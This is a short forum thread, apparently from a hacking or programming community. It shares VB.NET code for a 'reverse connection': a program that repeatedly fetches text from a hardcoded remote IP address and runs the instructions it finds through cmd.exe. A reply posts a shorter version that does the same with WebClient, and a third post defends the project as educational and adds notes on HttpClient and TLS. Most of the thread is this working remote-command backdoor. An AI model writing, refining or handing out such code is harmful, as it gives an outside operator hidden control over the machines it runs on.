Reverse Connection Using Web Browser

Asphyxia

Server Monkey
Administrator
Joined
Apr 25, 2015
Messages
1,242
Points
252
Age
26
Location
North America

Code:
Public Class Form1
    Dim whatCommand As String
    Dim doWhat As String


    Private Sub wbCommand_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles wbCommand.DocumentCompleted
        If whatCommand = wbCommand.DocumentText Then
            Exit Sub
        End If

        whatCommand = wbCommand.DocumentText

        If whatCommand.Contains("applaunch") Then
            doWhat = whatCommand.Split("||")(2)
            Shell("cmd.exe /k " + doWhat + "&& exit")
        End If

    End Sub

    Private Sub tmrRefresh_Tick(sender As Object, e As EventArgs) Handles tmrRefresh.Tick
        wbCommand.Navigate("http://108.61.157.109")
    End Sub
End Class
 

Crash129

Member
Joined
Dec 30, 2015
Messages
1
Points
35
Age
21
Why do you use a WebBrowser control?
It would be much more efficient to simply use a WebClient.

Code:
Imports System.Net

Public Class Form1
    Dim wc As New WebClient()
    Dim whatCommand As String

    Private Sub tmrRefresh_Tick(sender As Object, e As EventArgs) Handles tmrRefresh.Tick
        whatCommand = wc.DownloadString("http://***.***.***.***")
        If whatCommand.Contains("applaunch") Then
            Shell("cmd.exe /k " + whatCommand.Split("||")(2)+ "&& exit")
        End If
    End Sub
 
Last edited by a moderator:

Jackbox

Active Member
Joined
Jan 2, 2016
Messages
163
Points
74
Age
25
It would be much more efficient to simply use a WebClient.
Whether you use a WebBrowser control or a WebClient class, the project will be complete.

In the tutorial, there was going to be a command for the app going fullscreen and displaying website content. I decided not to do that right before recording but went with the same method regardless.

Whether you use a WebBrowser or WebClient, this depends on what you want to do. If you want the user to be able to browse/view the website, a WebBrowser makes sense. I agree I could have used a WebClient for this project but it really does not matter for the sake of this project, the project works all the same and is still educational.

I could have also used and SHOULD HAVE used HttpClient instead of WebClient or WebRequest but as I said for this project it really does not matter unless you are making a more complete application for serious use:
https://msdn.microsoft.com/en-us/library/system.net.httpwebrequest(v=vs.110).aspx
https://stackoverflow.com/a/27737601
https://stackoverflow.com/a/39290386
https://msdn.microsoft.com/en-us/library/system.net.http.httpclient(v=vs.118).aspx

Cool security note:
The .NET Framework 4.6 includes a new security feature that blocks insecure cipher and hashing algorithms for connections. Applications using TLS/SSL through APIs such as HttpClient, HttpWebRequest, FTPClient, SmtpClient, SslStream, etc. and targeting .NET Framework 4.6 get the more-secure behavior by default.
 

Top